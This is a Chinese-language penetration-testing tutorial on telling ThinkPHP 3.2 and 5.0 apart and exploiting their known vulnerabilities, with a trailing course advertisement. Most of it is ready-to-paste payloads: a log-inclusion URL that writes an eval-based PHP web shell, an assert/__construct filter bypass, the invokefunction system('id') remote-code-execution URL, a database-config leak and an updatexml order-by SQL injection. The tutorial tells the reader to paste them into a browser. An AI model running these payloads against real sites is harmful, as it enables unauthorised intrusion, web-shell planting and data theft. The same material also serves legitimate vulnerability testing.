thinkphp3.2和5.0可通过404页面版本标识、public目录与.htaccess存在性、runtime/runtime路径差异识别;3.2常见日志包含rce和缓存函数getshell,5.0典型漏洞为未开启强制路由下的invokefunction rce及order by注入。

识别ThinkPHP3.2和5.0版本并区分其常见漏洞,是渗透测试中快速判断攻击面的关键步骤——版本错判会导致POC失效、命令执行失败甚至触发WAF误报。
通过HTTP响应与目录结构识别版本
第一步:访问任意不存在的路由路径(如/testabc123),观察404页面返回内容。【ThinkPHP3.2会暴露ThinkPHP/3.2.3字样,而5.0.x则显示ThinkPHP v5.0.24等带v前缀的格式】
第二步:检查/public/.htaccess是否存在。3.2默认无public目录,入口文件index.php直接放在根目录;5.0强制要求public为Web根目录,且该目录下必有.htaccess文件控制URL重写。
第三步:访问/Application/Runtime/。能成功打开且看到Cache/Logs/Temp/子目录,基本可断定是3.2;若返回403或404,再尝试/runtime/——5.0默认将运行时目录改为小写runtime且位于项目根目录下。
ThinkPHP3.2典型漏洞及验证方式
方法一:日志文件包含RCE(影响3.2.x全版本)
构造payload:http://target.com/index.php?s=/index/index/name/${@file_put_contents('shell.php','<?php eval($_POST[cmd]);?>')},然后访问/Runtime/Logs/Home/26_08.log(日期按实际请求时间替换),若页面回显log内容且含恶意代码,则确认存在该漏洞。
方法二:缓存函数GetShell(仅3.2.3)
发送POST请求到/index.php?s=home/article/index,Body中加入_method=__construct&filter[]=assert&method=get&server[]=phpinfo,响应中若出现phpinfo()输出,说明成功触发缓存机制绕过。
【注意:3.2.x不支持s=index/\think\app/invokefunction这类5.x风格路由,强行使用会直接404】
ThinkPHP5.0核心漏洞特征与触发条件
第一步:确认未开启强制路由——访问/index.php?s=index/think\config/get&name=database.hostname,若返回数据库配置中的host值,说明处于默认宽松路由模式,RCE可利用。
第二步:尝试经典RCE payload:http://target.com/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id,响应中出现uid/gid信息即命中5.0.0–5.0.23漏洞。
第三步:检测SQL注入点——在order参数处传入数组:?order[id]=updatexml(1,concat(0x3a,(select user())),1),若报错信息中泄露MySQL用户,说明是5.0.22前版本存在的order by注入漏洞。
这一步操作起来很简单,直接把URL粘贴进浏览器地址栏回车就行。但要注意:5.0.24+已修复invokefunction路由,此时该payload会返回空或500错误,不能据此否定整个5.x系列的存在。
php免费学习视频:立即使用
踏上前端学习之旅,开启通往精通之路!从前端基础到项目实战,循序渐进,一步一个脚印,迈向巅峰!











